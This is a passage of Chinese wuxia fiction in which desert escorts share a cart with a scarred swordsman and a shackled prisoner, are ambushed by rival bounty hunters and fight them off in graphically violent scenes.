手指从弩身摸到弩弦,又从弩弦摸回弩身。摸了又摸,看了又看。那弩身冰凉凉的,但在手心里握久了,也会变暖。
嘴角不知不觉翘得老高,眼睛也亮晶晶的。
好一会儿,她才心满意足地把弩塞回包里,将包系在后腰上。
她调整了一下位置,还伸手拍了拍……不偏不倚,正好在手边,随时都能抽出来。
她低头看着那个长包,又抬头看了看陈晨,想说什么,又咽了回去。
一行六人,在马上颠簸了一路。
马蹄踏在沙地上,闷闷的,一声接一声,像谁在敲着一面永远敲不完的鼓。太阳从头顶慢慢滑向西边,影子越拉越长,最后拖成细细的一条,歪歪扭扭地跟在马屁股后面。
风一直在吹。
有时急,有时缓,有时卷着沙尘扑过来,打得人睁不开眼。只能侧过身,眯着眼,等那一阵过去。沙子灌进领口,灌进袖口,硌得皮肤发红。
直到黄昏时分,才终于走出葫芦谷。
可放眼望去,依旧是一望无际的大漠……沙还是那片沙,天还是那片天,地平线还是那条模糊的线,仿佛这条路永远走不到头。
远处有几点枯黄,不知是草还是石头。再远处,什么也没有。
风从远处吹过来,卷起细细的沙尘,打在脸上,生疼。那沙钻进眼睛里,揉一揉,揉出来的是血丝。
阿妮从马侧解下水囊,扔给阿育娅。水囊在空中划过一道弧线,阿育娅伸手接住,拔开塞子,仰起脖子灌了几口。水顺着嘴角流下来,打湿了衣领,她也不擦。
陈晨和刀马也都拿出自己的水囊,仰起脖子灌了几口。水顺着嘴角流下来,打湿了衣领,也没人顾得上擦。
只有知世郎,在马背上晃了晃,晃了晃。
他的身子越来越歪,越来越歪……
“病痨鬼!”刀马刚喊出声,知世郎已经一头栽倒在沙地上。
那动作太快,快到所有人都没反应过来。
阿妮翻身下马,冲到他身边。靴子在沙地上蹬出一串脚印,深一脚浅一脚。
“先生!先生……快起来啊先生!”
知世郎仰面躺着,看了她一眼,长长叹了口气。
那口气叹得长,长得像是要把这辈子所有的气都叹完。
“起不来了……”他摆摆手,声音虚弱得像风中的残烛,每说一个字都要喘半天,“徒有壮志,力不从心矣……”
阿育娅看着这一幕,嘴角弯了弯,没说话,只是把水囊送到嘴边又喝了两口。
刀马压根没往那边看。他正和小七在马背上玩石头剪刀布。
小七出剪刀,他出布。
输了。
“再来!”刀马撸起袖子,瞪着眼睛,“三局两胜!”
小七咯咯笑起来,又出了剪刀。刀马这次出了石头,赢了。
“看见没?”刀马得意地晃晃拳头,“这叫后发制人。”
小七眨眨眼,不太懂,但还是点了点头。
“上马吧,先生。”阿妮还跪在沙地上,试图把知世郎扶起来。
知世郎翻了个身,背对着她,嘴里嘟囔着:“不骑马了……知世郎不骑马了……”
就在这时,一阵铃铛声从远处传来。
叮当……叮当……
那声音清脆,悠远,在大漠里荡出老远,撞在看不见的石壁上,又弹回来,荡出去,再弹回来。
众人循声望去。
巨大的岩石后面,一辆马车晃晃悠悠地转了出来。
老马拉破车,车轮吱呀呀地转,每转一圈都要呻吟一声。车篷上的布帘被风吹得一鼓一鼓,露出里面黑黢黢的空间。那马瘦得皮包骨头,走几步喘一下,喘一下走几步,可那铃铛声却响得欢快,一下一下,像在招呼什么人。
刚才还病恹恹的知世郎,忽然像被针扎了一样,一个激灵坐了起来。
他盯着那辆马车,眼睛瞪得溜圆,手指直直地指着……
“马车!”他声音都变了调,尖得不像他自己,“有马车!知世郎不用骑马了!知世郎要坐马车!”
话音没落,他已经从沙地上爬起来。
那动作快得不像一个刚说“起不来”的人。
他跌跌撞撞朝那马车追去,脚在沙地里陷进去,拔出来,再陷进去,再拔出来。
“知世郎要坐马车……知世郎要坐马车……知世郎要坐马车!”
他一边跑一边喊,手舞足蹈,袍子在风里鼓荡,猎猎作响。那模样,活像一个将死之人看到了生的希望。哪还有半点刚才“力不从心”的样子?
阿妮愣在原地,手还保持着扶人的姿势,嘴巴张着,半天合不上。
阿育娅嘴里的水差点喷出来。她赶紧捂住嘴,咳了两声,肩膀一抖一抖的,不知道是呛的还是笑的。
刀马放下水囊,望着那个越跑越远的背影,半晌没说话。
然后他摇了摇头,灌了一大口水,仰着脖子咽下去。
“一代大儒啊……”
那声音里,满是失望。
小七眨了眨眼,拉了拉刀马的袖子:“刀马,他刚才不是起不来了吗?”
刀马低头看了小七一眼,又看了看那个还在追马车的背影,长长叹了口气。
“是啊,”他说,“起不来了。”
那马车停了。
车轮声戛然而止,铃铛又响了两下,便也没了声息。
知世郎却不走了。
他梗着脖子,站在三丈开外,踱过来,踱过去,眼睛往那车后帘子的缝隙里瞄……瞄一眼,缩回来,再瞄一眼。想看又不敢看,不敢看又忍不住想看。
那样子,活像一只想偷吃却又怕被抓住的野猫。
刀马懒得看他。手提长刀,越过他,大步朝那马车走去。靴子踩在沙地上,沙沙的,一步一个坑,坑里渗出暗色的影子。
知世郎见刀马动了,这才放开步子,跟在他身后,亦步亦趋,蹭到马车跟前。两只眼睛还滴溜溜地转,四下打量着。
阿育娅和陈晨没动。他们骑在马上,手里牵着其余几匹马的缰绳,远远地看着。风吹过来,马尾巴甩了甩,甩出一串水珠,落在沙地上,瞬间没了踪影。
“过路人,搭个车。”
刀马声音不小。那马车里静悄悄的,连个喘气的声儿都没有。
刀尖一挑,车后的帘子掀开了。
门里坐着一个人。
披头散发,一头黑发乱糟糟地披着,遮住了半边脸。一身白色胡服,料子不错,但皱巴巴的,像穿了很久没洗。怀里抱着一柄长刀,刀身修长,刀镡古朴,刀柄上缠着的布条已经磨得发白,可刀刃却闪着寒光,一看就是好刀。
陈晨远远地看了一眼,认出了那柄刀。
刀马也认出来了。
柱国之刃。楚国公的佩刀。
只是不知道,这柄刀,怎么到了他手里。
刀马没吭声,探头往里看。
车厢深处还坐着个女子。
衣服松散,香肩半露,露出一片白腻的肌肤。手腕脚腕上戴着婴儿手指粗的铁锁,铁锁磨得发亮,看来戴了很久。她斜倚着车厢,见刀马探头,也不躲,也不遮,就那么懒洋洋地看着他,嘴角还挂着一点笑,像是在打量什么有趣的东西。
“镖人?”刀马问。
“不然呢?”女子反问,声音懒懒的,像刚睡醒,又像没睡醒,拖着长长的尾音,在狭小的车厢里荡来荡去。
那白衣人这时才转过头来。
两只眼瞳,不是同一种颜色。一只是深褐,一只是淡灰,在昏黄的光里幽幽地闪着,像狼的眼睛。右脸一道伤疤,从面颊直贯额头,像被人劈开过又缝上,肉都翻出来过,又长回去了。那疤痕颜色比肤色深,皱巴巴的,像一条趴在脸上的蜈蚣。
他看着刀马,三个字从嘴里蹦出来,不带一丝感情:
“你也是?”
知世郎打了个冷战。
他退后半步,脸色都变了,煞白煞白的,连嘴唇都没了血色。
“诶呀!”他声音发颤,腿都软了,站都快站不稳,“我……我突然又不想坐马车了。我还是回去骑马吧!”
说完就要转身。
刀马头也没回,一把抓住他后领,顺手就把刀抵在他胸口上。刀尖冰凉,隔着衣服都能感觉到那股寒意。
眼神却始终没离开那白衣人。
白衣人用刀尖挑起帘子,看着他。
“花颜团知世郎。”
刀马随即接话:“有言在先,这可是我的人犯。”
“是吗?”白衣人说。
车里的女子忽然插嘴,声音脆生生的,像刚出笼的黄莺,和刚才那懒洋洋的腔调完全不同:
“你看,别的人犯都不戴镣铐。”
她举起手腕,那铁锁哗啦啦响,在昏黄的车厢里闪了闪。铁锁很粗,婴儿手指粗细,把她细白的手腕勒出几道红印,红印深的地方已经磨破了皮,结了一层薄薄的痂。
知世郎声音都抖了:“你放开我,你放开我!刀……”
话没说完。
刀马一刀背拍在他嘴上。
“闭嘴。”
两个字。知世郎立马没声了,捂着嘴,眼泪都快出来,可怜巴巴地看着刀马,眼眶里水汪汪的。
白衣人转头看向那女子:
“你看,别的人犯都要听话。”
女子翻了个白眼,把链条往车厢板上一撞,哗啦啦一阵响。
八个人,挤进了这辆破马车。
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车厢不大,一下子就满了。木板上铺着层薄薄的毡子,不知多少人坐过,已经磨得发亮,有些地方已经磨破了,露出下面的木板。车篷上有个破洞,透进一缕光,正照在车厢中间,落下一道光柱,光柱里无数细小的灰尘在飞舞。
阿育娅坐在最里面,靠着车壁。车壁硬邦邦的,硌得背疼。她挪了挪身子,找到一个稍微舒服点的姿势,然后就不动了。
陈晨挨着她坐,脊背挺直,眼睛四下扫着,从白衣人扫到那女子,从那女子扫到知世郎,又从知世郎扫回白衣人。那目光冷冷的,像在打量猎物,又像在丈量距离。
刀马与那白衣人相对而坐,中间隔着一张小几。几面上刻着些看不懂的花纹,像是某种文字,又像是某种符咒,歪歪扭扭的,密密麻麻的,看得人眼晕。
阿妮抱着小七坐在阿育娅对面,小七眼睛滴溜溜地转,看看这个,看看那个,最后盯着那女子手上的铁锁,小脸上满是好奇。他伸手指了指,想说什么,被阿妮轻轻按住。
知世郎靠在门边,大口喘气,额头上一层汗,汗珠顺着脸往下淌,也不敢擦,只能任它流进领子里。
那女子坐在知世郎与白衣人中间,正好把两人隔开。她一会儿看看刀马,一会儿看看陈晨,眼珠子转个不停,不知道在打什么主意。
车轮滚动,铃铛又响起来。
叮当,叮当,一声接一声,在暮色里荡出老远,传进无边无际的大漠里,然后消失不见。
“押解着朝廷头号重犯的镖人,居然带着妻小家眷。”白衣人先开口,声音平得没有起伏,像是在说今天天气不错,“我还是头一次见。”
“浪迹江湖的镖人,手里拿着的居然是柱国之刃。”刀马顿了顿,“我也是头一次见。”
他往后靠了靠,手指敲着刀柄,一下,一下,很有节奏。
“听说了吗?最近新起来一个年轻镖人,血洗江都青楼,做事绝不留后患……”
白衣人眉头皱了皱。那道伤疤跟着动了动,像一条趴在他脸上的虫子,蠕了蠕。
“我倒是听说,”他说,“有一个独来独往的老镖人,为了钱,什么该干不该干的,他都敢干。”
刀马把脸拄在刀柄上,压低声音:
“那最近此人都干了什么?你知道多少?”
白衣人也矮下身子,两人脸凑得极近,鼻尖都快碰上了。能看见对方眼睛里的自己,能感觉到对方呼吸的气息。
“为了抓她,”他下巴朝那女子扬了扬,“我在流沙古迷宫转了半个月,前日刚出来。你有什么要告诉我的吗?”
刀马笑了笑。
牙缝里蹦出两个字:
“没有。”
那女子眼珠转了转,忽然凑上前来。
她看看刀马,又看看陈晨,再看看刀马,再看回陈晨。眼珠子转得飞快,像在打什么主意,又像在盘算什么。
“我听懂了!”她眼睛亮晶晶的,声音里满是欢喜,“小郎君你一路总不解风情,不如把我卖给这两位至情至性又不缺钱的大哥……岂不是皆大欢喜?”
她说着,朝陈晨微微一笑。
那笑容,万般似水柔情。眼神里仿佛带着扯不断的情丝,一圈一圈,往人心里缠,缠上了就不放,挣都挣不开。
“好哥哥……”
她拖长了声音,软软的,糯糯的,像江南的雨,像三月的风,能酥到人骨头里去。
“小女子燕子娘,江南人氏,自幼习得一身柔功,许多你此生闻所未闻的花样……”
她说着,抬起一只裸足。
那脚白得晃眼,脚趾圆润,趾甲修剪得整整齐齐,还涂着淡淡的红色。脚腕上还挂着半截铁锁,随着她的动作哗啦啦响。她轻轻一抬,就把那只脚搭在陈晨膝盖上。
“哎,你要不要解开试试?”
阿育娅眼睛都直了。
她盯着那只脚,盯着那脚趾上的一点红,盯了一瞬。那一瞬很长,长得能数清那脚趾上有几道细纹。
然后膝盖猛地一撞陈晨的膝盖。
燕子娘的脚滑落到一边,落在毡子上,溅起一小片灰尘。
燕子娘也不恼,顺势把手搭在阿育娅肩上。那只手软若无骨,轻轻搭着,却像藤蔓一样缠上了。
她凑到阿育娅耳边,声音低低的,却让整个车厢都听得见:
“姐姐放心,我无需名分。”
她顿了顿。
“你若有意,我也可以一并服侍,包大家都满意的。”
话没说完。
刀鞘已经抵在她下巴上。
那刀鞘冰凉,硬邦邦地顶着她的喉咙,顶得她不得不仰起头,露出雪白的一段脖颈。脖颈上青筋隐约可见,随着呼吸微微跳动。
陈晨的声音冷得像从冰窖里捞出来的,一个字一个字,都带着寒气,能冻住人的血,能冻住人的心跳:
“像你这种人,我一年杀了没有一千也有八百。最好别惹我。”
刀还没收回,阿育娅已经一把抓住燕子娘的下巴。
那手不大,却有力,手指微微用力,就把燕子娘按在车厢板上,动弹不得。车厢板被她撞得“咚”的一声响。
燕子娘嘴上还不饶人:
“怎么,西域的女子也这么假正经吗?”
阿育娅手指又用了点力。
“要死了啊!”燕子娘顿时慌了,手脚乱蹬,脚腕上的镣铐哗啦啦响,撞在车厢板上,发出一阵乱七八糟的声音,“小混蛋,要死了啊!”
那白衣人看着这一幕,嘴角微微挑起。
那道伤疤跟着动了动,像是活了过来,在他脸上蜿蜒。
过了半晌,他缓缓开口。
“竖……”
他顿了顿。
“玉面鬼,竖。”
车厢里静了一瞬。
只有车轮声,铃铛声,还有燕子娘轻微的喘息声。
陈晨收回刀抱在怀中。
阿育娅也松开手,坐回原位,随即向陈晨那边歪了歪,靠在陈晨肩膀上。
燕子娘揉着下巴,瞪了阿育娅一眼,又瞪了陈晨一眼,嘟着嘴,却不敢再说话了。她往后退了退,缩在自己的位置上,抱着腿,把自己缩成小小的一团。
小七眨了眨眼,拉了拉阿妮的袖子,小声问:
“那个姐姐在干什么呀?”
阿妮捂住他的嘴,摇了摇头。
刀马看了白衣人一眼,又看了看陈晨,没说话。
白衣人也没说话,只是靠回车壁上,闭上眼睛。
车厢里又只剩下车轮声,铃铛声。
叮当……叮当……
9. 第八章:尸体
马车慢慢走着。
车轮吱呀吱呀地转,铃铛叮当叮当响,晃得人眼皮发沉。那声音不急不慢,一下一下,像老妪在耳边哼着催眠的曲儿。车厢里没人说话,只有小七靠在阿妮怀里,已经睡着了,小嘴微微张着,偶尔咂吧两下,也不知梦里吃到了什么好东西。
陈晨靠着车壁,眼睛半闭。窗外的光透进来,在他脸上明明灭灭地晃。阿育娅挨着他坐,脑袋一点一点,也快睡着了,发丝垂下来,随着马车的摇晃轻轻拂动。
刀马和竖相对而坐,两人谁也不看谁,像两头闭目养神的野兽,各自守着自己那一亩三分地。
燕子娘缩在角落里。难得安静,只是偶尔抬眼,从睫毛底下偷偷看人。看刀马,看竖,看陈晨。那目光像猫的爪子,软软的,轻轻搭一下,又缩回去。
知世郎靠在门边,望着车篷上的破洞发呆。那破洞里透进一缕光,正好落在他脸上,照亮了那些诡异的花纹。花纹从嘴角蔓延到耳根,又从眼角爬进鬓角,像扭曲的树藤爬满了半张脸。他不说话,只是望着那缕光,目光涣散,不知在想些什么。
没有人说话。
只有车轮声,铃铛声。
马车晃晃悠悠地往前走,走进黄昏,走进暮色,走进越来越浓的困意里。
就在众人闭目微眯的刹那……
一道寒光从远处飞来。
旋刃呼啸而至,撕裂空气,带着死亡的尖啸。那声音尖锐刺耳,像夜枭的啼鸣,像厉鬼的哀嚎。不偏不倚,切入车夫的脖颈。
血喷出来,溅在车篷上,顺着布帘往下淌。热腾腾的,还冒着气。
车夫的身子晃了晃,手一松,一头栽了下去。尸体落在沙地上,闷闷的一声响。
那马车顿时向一侧偏去。车轮碾过一块石头,整辆车剧烈一晃,车厢里的人像筛子里的豆子滚成一团……轰然侧翻在地,扬起一片沙尘。
远处马蹄声如雷。
滚滚烟尘中,三四十骑疾驰而来。马蹄踏在地上,震得地面都在发抖。那些人翻身下马,把侧翻的马车围了个水泄不通。他们服饰各异,刀枪剑戟、斧钺钩叉,什么兵刃都有……是一群江湖镖人,浑身上下透着股亡命徒的味道。有人脸上带疤,有人缺了只耳朵,有人满口黄牙,有人眼神阴鸷。
围着马车转了又转,转了一圈,两圈。终于有两个按捺不住,对视一眼,舔了舔嘴唇,朝车门冲去。
刀光一闪。
两人胸口同时迸出血花,惨叫都没喊出口,就被一脚一个踹飞出去。尸体落在沙地上滚了两滚,不动了。胸口的血还在往外冒,洇湿了一小片沙地。
竖最先从侧窗钻出车厢。
他就那么站在翻倒的马车之上,柱国之刃已然出鞘,被他扛在肩头。那只异瞳在昏黄的光里幽幽发亮,像是来自幽冥的鬼火,一只是深褐,一只是淡灰,看人的时候仿佛能把人的魂勾走。配上那道贯穿右脸的伤疤,整个人鬼气森森,仿佛从地狱里爬出来的修罗。
围着的人看得心里发毛,不由自主往后退了两步。
竖没有动。他只是站在那儿,像一尊杀神。风吹起他的衣角,猎猎作响。
刀马从后门翻身而出。他没有立刻动手,而是警惕地扫视四周,目光在每一个人脸上掠过……他在评估,谁最危险,谁可以留到最后。那目光冷冷的,像狼在打量羊群。
而在车厢内,马车侧翻的一瞬间……
陈晨动了。
电光石火之间,他甚至来不及想,身体已经先于意识做出了反应。他把自己垫在了最底下。
三个人的重量一层层叠下来,压得他动弹不得。燕子娘的身子软软的,带着一股香气;阿妮比想象中沉,压得他肋骨发疼;阿育娅在最上面,轻一些,但她的重量压在所有人身上。
尘土簌簌往下落,呛得人睁不开眼。车厢里一片昏暗,只有那破洞里透进一点光,照在知世郎苍白的脸上。
知世郎抱着小七滚到角落里,蜷成一团,把小七的脑袋死死按在怀里。小家伙一声没吭,也不知是吓傻了,还是早就习惯了这种场面。知世郎自己的脸埋在阴影里,看不清表情。
阿育娅最先撑起身子。她扒住车厢的外框,用力一撑,把自己从那堆人里拔出来。动作很快,没有一丝犹豫。
燕子娘还趴着,嘴里喊着“要死了啊要死了啊”。一扭头,忽然顿住了。
她看见自己身下压着一个人。
陈晨。
那个从见面起就没正眼看过她、刀鞘抵过她下巴、说“一年杀你这种人没有一千也有八百”的男人。
此刻正被她压在身下。
那双眼睛还是冷的,冷得像大漠冬夜的星子。可那双眼睛正看着她。
燕子娘愣了一下。
只是一下。
然后她眼珠一转,那副惊慌失措的模样瞬间收了回去。嘴角勾起,眉眼弯弯,脸上浮起万种风情的笑。
“呦,小郎君……”
声音软得能滴出水来,像江南三月的雨丝,缠缠绵绵地往人耳朵里钻。
“我还以为你是油盐不进的圣人呢。没想到……”
她顿了顿,眼波流转,眸光里仿佛带着钩子,一下一下往人心上钩。
“你对人家这么好啊?”
陈晨没答话。
他撑着刀鞘,从她身下钻出来,连看都没看她一眼。动作很快,像是什么都没发生过。
抬手抓起一旁的箭袋,扔给阿育娅。
然后两人同时冲出车厢。
外面已经乱成一团。
竖的身法鬼魅,闪转腾挪间刀光如练。他的刀太快,快到对手还没看清他的动作,喉咙就已经断了。柱国之刃在暮色里划出道道寒芒,每一道寒芒落下,就有一条人命。血溅在他白色的胡服上,星星点点,像雪地里开出的红梅。
他已经砍倒了四五个人。
刀马在远处与一个白胡子老头战作一团。那老头使一柄拂尘,万千白丝中藏着利刃,出招狠辣,防不胜防。拂尘扫过,沙尘扬起,利刃便从尘雾中刺出,刁钻毒辣。刀马一时间竟落入下风,只能边打边退,寻找反击的机会。他咬着牙,额头上沁出汗珠。
阿育娅一出来,迎面就撞上几个冲过来的敌人。
她拉弓搭箭。
那动作快得像本能……从小在大漠长大,会走路就会射箭,会说话就会瞄准。弓弦响处,箭矢已至,离两人最近的家伙应声倒地,箭簇从眼眶贯入,从后脑穿出,连惨叫都来不及发出。尸体直挺挺地倒下去,溅起一小片沙尘。
陈晨一吹口哨。
那匹枣红马从烟尘中冲出来,跑到他身边,喷着响鼻,用脑袋蹭他的肩膀。
左手猛地一抽……七十二斤的霸王枪终于出鞘。
枪身粗如儿臂,乌沉沉地横在手里,枪尖在暮色里闪着寒光。那光冷冷的,像死神的眼睛。右手摘下枪头上的布套,随手扔在沙地上。布套落地,扬起一小片灰尘。
他一踢枪柄。
枪尾如电,撞在冲上来那人的胸口。骨头碎裂的声音闷闷响起,“咔嚓”一声,那人被撞得踉跄一步,胸口塌下去一块,还没稳住身形,一道寒芒已经刺入他胸膛。
长枪一挑。
尸体飞出去,砸在另一人身上,两人滚成一团,沙尘扬起老高。被砸的那人挣扎着想爬起来,肋骨已经断了几根,嘴里往外冒血。
阿育娅趁机再射一箭。羽箭擦着第一个人的耳朵飞过,正中他身后那人的面门。箭簇从眉心贯入,从后脑穿出,那人惨叫着捂住脸,手指缝里血往外冒,倒在地上抽搐了两下,不动了。
阿育娅不等第一个人反应过来,一脚正蹬踹在他胸口。那人向后栽倒,她左手抽出腰间弯刀,一刀捅入他胸膛,刀刃入肉的闷响清晰可闻,血溅在她脸上,温热腥甜。
反手一划。
刀锋掠过另一个人的喉咙。血喷出来,那人捂着脖子,瞪着眼睛倒下去,嘴里发出咯咯的声响,那是血往喉咙里灌的声音。
血溅在阿育娅脸上,她连眼睛都没眨。
再看陈晨那边。
长枪上已经扎着一人。枪尖从胸口穿入,从后背透出,枪杆上穿着尸体,还在抽搐。他手臂发力,枪尖带着那具尸体,狠狠戳在另一个人的肚子上。
枪尖一绞。
那人的浑圆的肚皮瞬间被割的粉碎,红的黄的青的绿的流了一地,在沙地上冒着热气。肠子流出来,混着血和沙土,腥臭扑鼻。
血腥味弥漫开来,呛得人想吐。
车厢之中,阿妮正抓着一个人。
她手里的短刃一下一下捅进去……肚子上,胸上,脸上。每一刀都不深,都不致命,就那么一下一下,像是在泄愤,又像是在享受。血溅在她脸上,她眼睛都不眨,呼吸都不乱。那人张着嘴想喊,喊不出来,喉咙里只有嗬嗬的声响。
最后一下才划过喉咙,那人捂着脖子倒下去,她随手一推,尸体滚到一边,在车厢板上留下一道长长的血痕。
而燕子娘不知在哪寻到了两块石头,正在砸她脚上的铁链。石头砸在铁环上,当当响,火星子直冒。她低着头,咬着牙,一下一下砸,额头上沁出细密的汗珠。
燕子娘猛地抬头……
车窗被竖弄出的缺口上,不知何时爬上来一个光头大汉。
那人手拿一柄弯刀,呲着一口黄牙,正直勾勾地盯着她。
盯着她露在外面的腿。
那腿光洁如玉,没有一丝赘肉,线条流畅得像大漠里起伏的沙丘。小腿纤细,脚踝玲珑,脚趾圆润,趾甲修剪得整整齐齐。大腿浑圆紧实,肌肤在昏黄的光里泛着温润的光,像上好的羊脂玉,又像刚从牛奶里捞出来。
那光头的目光黏在上面,从上滑到下,从下滑到上,来来回回,怎么也移不开。嘴角咧开,露出满口黄牙,口水都快流下来了。喉结上下滚动,咕噜一声,咽了口唾沫。
燕子娘看见他那副模样,眼珠一转,那惊慌的神色瞬间收了回去。
她往车厢板上一靠,摆了个风情万种的姿势。
一条腿微微抬起,另一条腿轻轻交叠,腰肢扭成一个柔软的弧度。下巴微扬,眼波流转,嘴角噙着一丝若有若无的笑。那笑里带着钩子,带着蜜糖,带着说不清道不明的意味。
那光头眼睛都直了,张着嘴往前凑,手里的刀都忘了举……
还没等他有所动作。
一柄长枪从窗外刺入,直接扎穿了他的脑袋。
枪尖从后脑贯入,从面门穿出,带出一蓬红的白的。脑浆和鲜血混在一起,溅得到处都是。枪尖一挑,那光头的尸体被挑飞出去,在空中翻了半个跟头,落在沙地上滚了两滚,不动了。
脑浆和鲜血溅了燕子娘一身,满头满脸都是。
温热的,腥甜的,黏糊糊的,顺着她的发丝往下淌,流过额头,流过眉毛,流过脸颊,流过嘴角。
陈晨正站在车窗外,手里握着那柄长枪,脸上不带一丝表情。他看了她一眼,那眼神还是冷的,脸上不带有一丝表情。
然后他转身走了。
燕子娘愣了一瞬。
她低头看了看自己身上的脑浆和血,又抬头看了看那个已经走远的背影,又低头看了看自己的腿……那条刚才还被光头盯着咽口水的腿,此刻沾满了红的白的。
她张了张嘴,想喊什么,没喊出来
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。
然后她冲出车厢。
外面杀声震天,她不管不顾,冲到那光头的尸体旁。那颗秃头上已经被扎了两个窟窿……陈晨那一枪贯穿的,血和脑浆还在往外冒,在沙地上洇开一小片。
她手里还攥着那块砸链子的石头。
她蹲下来,一下一下,砸在那颗秃头上。
咚。咚。咚。
石头砸在头骨上,发出闷响。头骨裂开,血溅出来,溅在她手上,她不管。脑浆溅出来,溅在她脸上,她也不管。她只是砸,一下一下,机械地砸。
嘴里不知道在念叨什么。
另一边,竖又砍倒了两个。
剩下的几个人终于扛不住了。不知是谁先喊了一声“跑”,十几个人转身就逃,连滚带爬,朝来时的方向狂奔而去。烟尘扬起,很快吞没了他们的背影。
竖没有追。
他收起刀,柱国之刃入鞘,发出一声轻响。走回马车旁,目光落在那片还在厮杀的沙地上……
刀马正与那白胡子老头缠斗。
旁边忽然冲出一个独眼龙,手里拎着柄长斧,一上来就朝刀马脑袋招呼。斧刃呼呼作响,一下一下,招招要命,带着风声劈下来。
刀马架住一击,脚下连退几步,虎口发麻。
陈晨没有插手。
他站在马车旁,正低着头,用一块布仔仔细细擦着他的那柄长枪。枪身上的血被一点点擦去,露出乌沉的枪身,动作很慢,很认真,像是在擦一件心爱的器物。
阿育娅也没闲着。她蹲在那些尸体中间,一根一根拔回自己射出的羽箭。箭杆上沾着血,有的已经折断了,她看一眼,好的收起来,坏掉的将箭头拔掉塞在腰带上的一个小袋子里,箭杆扔掉。偶尔抬眼看一下刀马那边,然后又低下头。
就在刀马架住独眼龙一击的瞬间……
那白胡子老头忽然从背后冲上来,一刀刺穿了独眼龙的身体。
刀刃从后背贯入,从胸前穿出,距离刀马的胸口不过寸许。冰冷的刀尖几乎要刺破他的衣服。
刀马往后一仰,险险躲过那致命的一击,瞪着那老头骂道:“疯老三,你对自己兄弟都他妈下死手?!”
那老头满眼疯狂,嘴角挂着诡异的笑,眼睛里全是血丝:“就算我亲爹跟我抢这趟镖,我也不答应!”
话音未落,刀刃再次刺来。
刀马连退几十步,余光扫到身后一块巨石。他脚下一蹬,踩在石面上,整个人腾空而起,一个翻身落在那老头身后……
手中的刀刃已经架在他脖子上。
冰冷的刀锋贴着皮肉,只要轻轻一划,就是一条人命。
那老头浑身一僵,随即“扑通”一声跪在地上。刀都掉了,双手举着,浑身发抖。
“您大人不记小人过……放我一条生路吧……”他声音都变了调,带着哭腔,“我就此退出江湖,你们的事我再也不管了……求您饶命……”
话没说完。
竖从旁边走过来,抬手一刀。
刀刃砍在那老头脑袋上,入骨三分,“咔嚓”一声,头骨裂开。老头的求饶戛然而止,眼睛还睁着,身子晃了晃,栽倒在地。
不远处,那独眼龙挣扎着想爬起来。他捂着肚子,血从指缝里往外冒,在地上拖出一道长长的血痕。刚撑起半边身子……
一柄长枪破空而来。
枪尖从后背贯入,穿胸而过,把他死死钉在地上。枪杆还在颤动,嗡嗡作响。
他张着嘴,瞪着眼,四肢抽搐了两下,不动了。血从身下渗出来,洇红了一小片沙地。
陈晨从马车旁慢慢走过来。
他单手握住枪杆,脚踩住那独眼龙的尸体,用力一拔。长枪从血肉里抽出来,带出一蓬血雾,枪尖上还挂着碎肉。
他看了一眼枪尖,又看了一眼尸体,脸上没有表情。
然后从怀里掏出那块布,低着头,一下一下,把枪身上的血擦干净。
擦得很仔细,很慢。
从枪根擦到枪尖,再从枪尖擦回枪根,来来回回,直到枪身重新露出乌沉沉的光泽。
阿育娅看了他一眼,没说话,继续拔她的箭。
一根,两根,三根……
燕子娘还蹲在那光头尸体旁边,一下一下砸着那颗已经稀烂的脑袋。
咚。咚。咚。
石头砸在骨头上,骨头已经碎了,砸在肉上,肉已经烂了。她还在砸。
满头满脸都是脑浆和血,糊得看不清眉眼。嘴里不知道在念叨什么,声音很轻,听不清。
风沙卷过,血腥味飘向远方。
竖站在马车顶上,望着那些逃远的身影,一动不动。
刀马收起刀,走回马车旁,看了看陈晨,又看了看阿育娅,最后目光落在燕子娘身上。
他张了张嘴,想说什么,又咽了回去。
陈晨擦完枪,把布收进怀里,抬头看了看天色。
暮色已经浓了,天边最后一抹红晕正在沉下去,变成深紫,变成灰蓝,马上就要黑透了。
“走吧。”他说。
声音很平,没有起伏。
阿育娅站起身,把收好的箭插回箭袋。看了一眼燕子娘,走过去,拍了拍她的肩膀。
燕子娘抬起头,看着她。
那张脸已经认不出来了,全是血和脑浆,只有眼睛还是亮的。
“走了。”阿育娅说。
燕子娘愣了一瞬,低头看了看手里的石头,又看了看那颗已经砸烂的脑袋。
她把石头扔在地上。
站起来,跟着阿育娅走回马车。
风还在吹。
血腥味还在飘。
10. 第九章:夜
马车破破烂烂的,再次摇晃着驶入大漠深处。
车轮吱呀吱呀地转,每一声都像在呻吟,像在诉说这一路的风尘与血火。车身每颠一下都像要散架,那些修补过的痕迹、刀砍过的豁口、火烧过的焦痕,都在这一颠一簸中吱呀作响。可它就是没散,倔强地往前走,摇摇晃晃地驶进越来越浓的夜色里。
车篷上的破洞还在,月光从那洞里漏进来,在车厢地板上投下一小块银白。那银白随着马车的晃动轻轻移动,像一尾游动的鱼,从阿妮的脚边游到知世郎的膝上,又从知世郎的膝上游到陈晨的手边。
阿妮坐在车头,手里攥着马鞭,一下一下轻轻抽打着几匹马的屁股。那些马瘦得皮包骨头,肋骨一根根凸出来,在月光下看得分明,迈步却还算稳当,喷着响鼻,一步一步往前捱。马蹄踏在沙地上,闷闷的,一声接一声,像谁在敲一面永远敲不完的鼓。
而陈晨他们的马跟在车的一侧,吃的肥肥壮壮的,即使没有主人牵引也知道该往哪里走。
车厢里没人说话。
只有车轮声,马鞭声,偶尔一声响鼻。
燕子娘已经用了整整两个水囊的水。
她捧着水,一把一把往脸上浇,洗了一遍又一遍。水顺着她的指缝流下去,带走脸上的血污,带走那些黏腻的脑浆,带走那个光头大汉死前盯着她看的眼神,带走那个夜晚所有的疯狂与恐惧。可好像怎么也洗不干净,她还在洗,还在浇。
第二个水囊也快空了。
水流顺着下巴淌下来,流过脖子,洇湿了胸前的衣襟。那衣料湿透了,贴在她身上,显出一道深深的沟壑。月光落在那里,照得那一片肌肤泛着温润的光。可她不管,只是继续洗,继续浇,像是要把什么东西从脸上、从记忆里,彻底洗掉。
洗不掉的。
她知道洗不掉。
可她还是在洗。
陈晨靠着车壁,眼睛闭着。可他没睡……手指一下一下,轻轻敲打着刀鞘,发出极轻的“嗒嗒”声。那声音很轻,轻得几乎听不见,可在寂静的车厢里,一下一下,清晰得像心跳。那是活人才有的动静,醒着的人才有的节奏。
他的脸上没有表情,呼吸也平稳,可那根手指一直在动。嗒。嗒。嗒。
